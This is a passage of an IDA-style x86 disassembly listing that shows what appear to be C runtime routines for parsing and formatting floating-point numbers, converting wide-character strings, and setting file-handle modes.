		jle	short loc_41F5B5


loc_41F571:				; CODE XREF: sub_41F31F+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41F5ED
		dec	eax
		dec	eax
		jz	short loc_41F5E1
		sub	eax, 3
		jnz	loc_41F695


loc_41F586:				; CODE XREF: sub_41F31F+2A4j
		push	8
		jmp	short loc_41F5EF
; ---------------------------------------------------------------------------


loc_41F58A:				; CODE XREF: sub_41F31F+63j
					; DATA XREF: ___:off_41F7C0o
		mov	[ebp+var_20], edx ; jumptable 0041F382 case 8


loc_41F58D:				; CODE XREF: sub_41F31F+276j
		cmp	bl, 30h
		jnz	short loc_41F597
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F58D
; ---------------------------------------------------------------------------


loc_41F597:				; CODE XREF: sub_41F31F+271j
		cmp	bl, 31h
		jl	loc_41F692
		cmp	bl, 39h
		jg	loc_41F692
		jmp	short loc_41F5B5
; ---------------------------------------------------------------------------


loc_41F5AB:				; CODE XREF: sub_41F31F+63j
					; DATA XREF: ___:off_41F7C0o
		cmp	bl, 31h		; jumptable 0041F382 case 7
		jl	short loc_41F5BE
		cmp	bl, 39h
		jg	short loc_41F5BE


loc_41F5B5:				; CODE XREF: sub_41F31F+250j
					; sub_41F31F+28Aj
		push	9


loc_41F5B7:				; CODE XREF: sub_41F31F+76j
		pop	eax


loc_41F5B8:				; CODE XREF: sub_41F31F+240j
		dec	edi
		jmp	loc_41F376
; ---------------------------------------------------------------------------


loc_41F5BE:				; CODE XREF: sub_41F31F+28Fj
					; sub_41F31F+294j
		cmp	bl, 30h
		jnz	short loc_41F607
		jmp	short loc_41F586
; ---------------------------------------------------------------------------


loc_41F5C5:				; CODE XREF: sub_41F31F+63j
					; DATA XREF: ___:off_41F7C0o
		cmp	[ebp+arg_18], 0	; jumptable 0041F382 case 11
		jz	short loc_41F5F5
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_41F5ED
		dec	eax
		dec	eax
		jnz	loc_41F695


loc_41F5E1:				; CODE XREF: sub_41F31F+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_41F376
; ---------------------------------------------------------------------------


loc_41F5ED:				; CODE XREF: sub_41F31F+258j
					; sub_41F31F+2B8j
		push	7


loc_41F5EF:				; CODE XREF: sub_41F31F+85j
					; sub_41F31F+103j ...
		pop	eax
		jmp	loc_41F376
; ---------------------------------------------------------------------------


loc_41F5F5:				; CODE XREF: sub_41F31F+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_41F5F9:				; CODE XREF: sub_41F31F+5Dj
					; sub_41F31F+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0041F382 case 10
		jz	loc_41F697
		jmp	loc_41F376
; ---------------------------------------------------------------------------


loc_41F607:				; CODE XREF: sub_41F31F+12Dj
					; sub_41F31F+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_41F697
; ---------------------------------------------------------------------------


loc_41F60F:				; CODE XREF: sub_41F31F+63j
					; DATA XREF: ___:off_41F7C0o
		mov	[ebp+var_20], 1	; jumptable 0041F382 case 9
		xor	esi, esi


loc_41F618:				; CODE XREF: sub_41F31F+339j
		cmp	dword_43B7AC, 1
		jle	short loc_41F630
		movzx	eax, bl
		push	4
		push	eax
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41F63F
; ---------------------------------------------------------------------------


loc_41F630:				; CODE XREF: sub_41F31F+300j
		mov	ecx, off_43B5A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41F63F:				; CODE XREF: sub_41F31F+30Fj
		test	eax, eax
		jz	short loc_41F65F
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_41F65A
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F618
; ---------------------------------------------------------------------------


loc_41F65A:				; CODE XREF: sub_41F31F+334j
		mov	esi, 1451h


loc_41F65F:				; CODE XREF: sub_41F31F+322j
		mov	[ebp+var_1C], esi


loc_41F662:				; CODE XREF: sub_41F31F+371j
		cmp	dword_43B7AC, 1
		jle	short loc_41F67A
		movzx	eax, bl
		push	4
		push	eax
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41F689
; ---------------------------------------------------------------------------


loc_41F67A:				; CODE XREF: sub_41F31F+34Aj
		mov	ecx, off_43B5A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41F689:				; CODE XREF: sub_41F31F+359j
		test	eax, eax
		jz	short loc_41F692
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F662
; ---------------------------------------------------------------------------


loc_41F692:				; CODE XREF: sub_41F31F+99j
					; sub_41F31F+E4j ...
		dec	edi
		jmp	short loc_41F697
; ---------------------------------------------------------------------------


loc_41F695:				; CODE XREF: sub_41F31F+261j
					; sub_41F31F+2BCj
		mov	edi, ecx


loc_41F697:				; CODE XREF: sub_41F31F+2DDj
					; sub_41F31F+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_41F77F
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_41F6C3
		cmp	[ebp+var_45], 5
		jl	short loc_41F6B7
		inc	[ebp+var_45]


loc_41F6B7:				; CODE XREF: sub_41F31F+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_41F6C6
; ---------------------------------------------------------------------------


loc_41F6C3:				; CODE XREF: sub_41F31F+38Dj
		mov	eax, [ebp+var_C]


loc_41F6C6:				; CODE XREF: sub_41F31F+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_41F775


loc_41F6D0:				; CODE XREF: sub_41F31F+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41F6DE
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_41F6D0
; ---------------------------------------------------------------------------


loc_41F6DE:				; CODE XREF: sub_41F31F+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_41F258
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_41F6FD
		neg	eax


loc_41F6FD:				; CODE XREF: sub_41F31F+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_41F708
		add	eax, [ebp+arg_10]


loc_41F708:				; CODE XREF: sub_41F31F+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_41F710
		sub	eax, [ebp+arg_14]


loc_41F710:				; CODE XREF: sub_41F31F+3ECj
		cmp	eax, 1450h
		jle	short loc_41F747
		mov	[ebp+var_2C], 1


loc_41F71E:				; CODE XREF: sub_41F31F+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_41F72A:				; CODE XREF: sub_41F31F+454j
					; sub_41F31F+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_41F790
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_41F7A5
; ---------------------------------------------------------------------------


loc_41F747:				; CODE XREF: sub_41F31F+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_41F757
		mov	[ebp+var_30], 1
		jmp	short loc_41F71E
; ---------------------------------------------------------------------------


loc_41F757:				; CODE XREF: sub_41F31F+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41FDC6
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_41F72A
; ---------------------------------------------------------------------------


loc_41F775:				; CODE XREF: sub_41F31F+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_41F72A
; ---------------------------------------------------------------------------


loc_41F77F:				; CODE XREF: sub_41F31F+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_41F7A5
; ---------------------------------------------------------------------------


loc_41F790:				; CODE XREF: sub_41F31F+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_41F7A5
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_41F7A5:				; CODE XREF: sub_41F31F+426j
					; sub_41F31F+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_41F31F	endp

; ---------------------------------------------------------------------------
off_41F7C0	dd offset loc_41F389	; DATA XREF: sub_41F31F+63r
		dd offset loc_41F3D8	; jump table for switch	statement
		dd offset loc_41F42F
		dd offset loc_41F459
		dd offset loc_41F4B4
		dd offset loc_41F52B
		dd offset loc_41F561
		dd offset loc_41F5AB
		dd offset loc_41F58A
		dd offset loc_41F60F
		dd offset loc_41F5F9
		dd offset loc_41F5C5

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F7F0	proc near		; CODE XREF: sub_41ECF8+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_41F852
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41F856
; ---------------------------------------------------------------------------


loc_41F852:				; CODE XREF: sub_41F7F0+5Aj
		mov	byte ptr [ebx+2], 20h


loc_41F856:				; CODE XREF: sub_41F7F0+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_41F87C
		test	edi, edi
		jnz	short loc_41F87C
		cmp	[ebp+arg_0], edi
		jnz	short loc_41F87C


loc_41F867:				; CODE XREF: sub_41F7F0+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_41FA7A
; ---------------------------------------------------------------------------


loc_41F87C:				; CODE XREF: sub_41F7F0+6Cj
					; sub_41F7F0+70j ...
		cmp	dx, si
		jnz	short loc_41F8FB
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_41F895
		cmp	[ebp+arg_0], 0
		jz	short loc_41F8A4


loc_41F895:				; CODE XREF: sub_41F7F0+9Dj
		test	edi, 40000000h
		jnz	short loc_41F8A4
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_41F8EA
; ---------------------------------------------------------------------------


loc_41F8A4:				; CODE XREF: sub_41F7F0+A3j
					; sub_41F7F0+ABj
		test	cx, cx
		jz	short loc_41F8BE
		cmp	edi, 0C0000000h
		jnz	short loc_41F8BE
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F8E5
		push	offset a1Ind	; "1#IND"
		jmp	short loc_41F8CD
; ---------------------------------------------------------------------------


loc_41F8BE:				; CODE XREF: sub_41F7F0+B7j
					; sub_41F7F0+BFj
		cmp	edi, eax
		jnz	short loc_41F8E5
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F8E5
		push	offset a1Inf	; "1#INF"


loc_41F8CD:				; CODE XREF: sub_41F7F0+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_417A00
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_41F8DC:				; CODE XREF: sub_41F7F0+109j
		and	[ebp+var_4], 0
		jmp	loc_41FA53
; ---------------------------------------------------------------------------


loc_41F8E5:				; CODE XREF: sub_41F7F0+C5j
					; sub_41F7F0+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_41F8EA:				; CODE XREF: sub_41F7F0+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_417A00
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_41F8DC
; ---------------------------------------------------------------------------


loc_41F8FB:				; CODE XREF: sub_41F7F0+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41FDC6
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_41F95C
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41FBA6
		pop	ecx
		pop	ecx


loc_41F95C:				; CODE XREF: sub_41F7F0+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_41F976
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_41F979
		jmp	loc_41F867
; ---------------------------------------------------------------------------


loc_41F976:				; CODE XREF: sub_41F7F0+173j
		mov	edi, [ebp+arg_C]


loc_41F979:				; CODE XREF: sub_41F7F0+17Fj
		cmp	edi, 15h
		jle	short loc_41F981
		push	15h
		pop	edi


loc_41F981:				; CODE XREF: sub_41F7F0+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_41F997:				; CODE XREF: sub_41F7F0+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F1FD
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_41F997
		test	esi, esi
		jge	short loc_41F9C1
		neg	esi
		and	esi, 0FFh
		jle	short loc_41F9C1


loc_41F9B4:				; CODE XREF: sub_41F7F0+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F22B
		dec	esi
		pop	ecx
		jnz	short loc_41F9B4


loc_41F9C1:				; CODE XREF: sub_41F7F0+1B8j
					; sub_41F7F0+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_41FA1E
		mov	[ebp+arg_C], ecx


loc_41F9D1:				; CODE XREF: sub_41F7F0+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_41F1FD
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F1FD
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F19F
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F1FD
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_41F9D1
		mov	eax, [ebp+arg_14]


loc_41FA1E:				; CODE XREF: sub_41F7F0+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_41FA5B


loc_41FA2B:				; CODE XREF: sub_41F7F0+248j
		cmp	eax, ecx
		jb	short loc_41FA3E
		cmp	byte ptr [eax],	39h
		jnz	short loc_41FA3A
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_41FA2B
; ---------------------------------------------------------------------------


loc_41FA3A:				; CODE XREF: sub_41F7F0+242j
		cmp	eax, ecx
		jnb	short loc_41FA42


loc_41FA3E:				; CODE XREF: sub_41F7F0+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_41FA42:				; CODE XREF: sub_41F7F0+24Cj
		inc	byte ptr [eax]


loc_41FA44:				; CODE XREF: sub_41F7F0+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_41FA53:				; CODE XREF: sub_41F7F0+F0j
		mov	eax, [ebp+var_4]


loc_41FA56:				; CODE XREF: sub_41F7F0+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FA5B:				; CODE XREF: sub_41F7F0+239j
					; sub_41F7F0+275j
		cmp	eax, ecx
		jb	short loc_41FA6B
		cmp	byte ptr [eax],	30h
		jnz	short loc_41FA67
		dec	eax
		jmp	short loc_41FA5B
; ---------------------------------------------------------------------------


loc_41FA67:				; CODE XREF: sub_41F7F0+272j
		cmp	eax, ecx
		jnb	short loc_41FA44


loc_41FA6B:				; CODE XREF: sub_41F7F0+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_41FA7A:				; CODE XREF: sub_41F7F0+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_41FA56
sub_41F7F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FA83	proc near		; CODE XREF: sub_41EFBB+5Ep
					; sub_420271+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_41FA90
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FA90:				; CODE XREF: sub_41FA83+7j
		push	dword_516C84
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_516EA4
		call	sub_41FE42
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41FABD
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FABD:				; CODE XREF: sub_41FA83+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_41FA83	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FAC2	proc near		; CODE XREF: sub_41EFBB+1Ep
					; sub_4200EA+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_5158B4
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_41FB23
		mov	ebx, dword_421158


loc_41FADB:				; CODE XREF: sub_41FAC2+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_41FB2B
		push	ebp
		call	sub_417BEE
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_41FB2B
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41FB2B
		push	edi
		push	[esp+18h+var_4]
		call	sub_4200EA
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_41FADB


loc_41FB23:				; CODE XREF: sub_41FAC2+11j
		xor	eax, eax


loc_41FB25:				; CODE XREF: sub_41FAC2+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41FB2B:				; CODE XREF: sub_41FAC2+29j
					; sub_41FAC2+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_41FB25
sub_41FAC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FB30	proc near		; CODE XREF: sub_41F038+8Bp
					; sub_41F038+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_516C80
		jnb	short loc_41FB97
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_516B80[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_41FB97
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_41FB70
		and	cl, 7Fh
		jmp	short loc_41FB7D
; ---------------------------------------------------------------------------


loc_41FB70:				; CODE XREF: sub_41FB30+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_41FB8B
		or	cl, 80h


loc_41FB7D:				; CODE XREF: sub_41FB30+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FB8B:				; CODE XREF: sub_41FB30+48j
		mov	dword_515884, 16h
		jmp	short loc_41FBA1
; ---------------------------------------------------------------------------


loc_41FB97:				; CODE XREF: sub_41FB30+Bj
					; sub_41FB30+27j
		mov	dword_515884, 9


loc_41FBA1:				; CODE XREF: sub_41FB30+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41FB30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FBA6	proc near		; CODE XREF: sub_41F7F0+165p
					; sub_41FDC6+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_41FDA6
		cmp	cx, 7FFFh
		jnb	loc_41FDA6
		cmp	dx, 0BFFDh
		ja	loc_41FDA6
		cmp	dx, 3FBFh
		ja	short loc_41FC0F
		xor	eax, eax
		jmp	short loc_41FC49
; ---------------------------------------------------------------------------


loc_41FC0F:				; CODE XREF: sub_41FBA6+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_41FC31
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_41FC31
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_41FC33
		cmp	[esi], eax
		jnz	short loc_41FC33
		jmp	loc_41FDA0
; ---------------------------------------------------------------------------


loc_41FC31:				; CODE XREF: sub_41FBA6+71j
					; sub_41FBA6+79j
		xor	eax, eax


loc_41FC33:				; CODE XREF: sub_41FBA6+80j
					; sub_41FBA6+84j
		cmp	cx, ax
		jnz	short loc_41FC56
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_41FC56
		cmp	[ebx+4], eax
		jnz	short loc_41FC56
		cmp	[ebx], eax
		jnz	short loc_41FC56


loc_41FC49:				; CODE XREF: sub_41FBA6+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_41FDC1
; ---------------------------------------------------------------------------


loc_41FC56:				; CODE XREF: sub_41FBA6+90j
					; sub_41FBA6+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_41FC66:				; CODE XREF: sub_41FBA6+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_41FCBA
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_41FC82:				; CODE XREF: sub_41FBA6+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_41F17E
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41FCAD
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_41FCAD:				; CODE XREF: sub_41FBA6+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_41FC82


loc_41FCBA:				; CODE XREF: sub_41FBA6+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_41FC66
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_41FCFD


loc_41FCD8:				; CODE XREF: sub_41FBA6+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_41FCF6
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41F1FD
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41FCD8


loc_41FCF6:				; CODE XREF: sub_41FBA6+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41FD36


loc_41FCFD:				; CODE XREF: sub_41FBA6+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_41FD36
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_41FD16:				; CODE XREF: sub_41FBA6+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_41FD1F
		inc	[ebp+var_14]


loc_41FD1F:				; CODE XREF: sub_41FBA6+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41F22B
		dec	ebx
		pop	ecx
		jnz	short loc_41FD16
		cmp	[ebp+var_14], 0
		jz	short loc_41FD36
		or	byte ptr [ebp+var_24], 1


loc_41FD36:				; CODE XREF: sub_41FBA6+155j
					; sub_41FBA6+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_41FD4D
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_41FD82


loc_41FD4D:				; CODE XREF: sub_41FBA6+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_41FD7F
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_41FD7A
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_41FD74
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_41FD82
; ---------------------------------------------------------------------------


loc_41FD74:				; CODE XREF: sub_41FBA6+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_41FD82
; ---------------------------------------------------------------------------


loc_41FD7A:				; CODE XREF: sub_41FBA6+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_41FD82
; ---------------------------------------------------------------------------


loc_41FD7F:				; CODE XREF: sub_41FBA6+1ABj
		inc	[ebp+var_24+2]


loc_41FD82:				; CODE XREF: sub_41FBA6+1A5j
					; sub_41FBA6+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_41FDA6
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
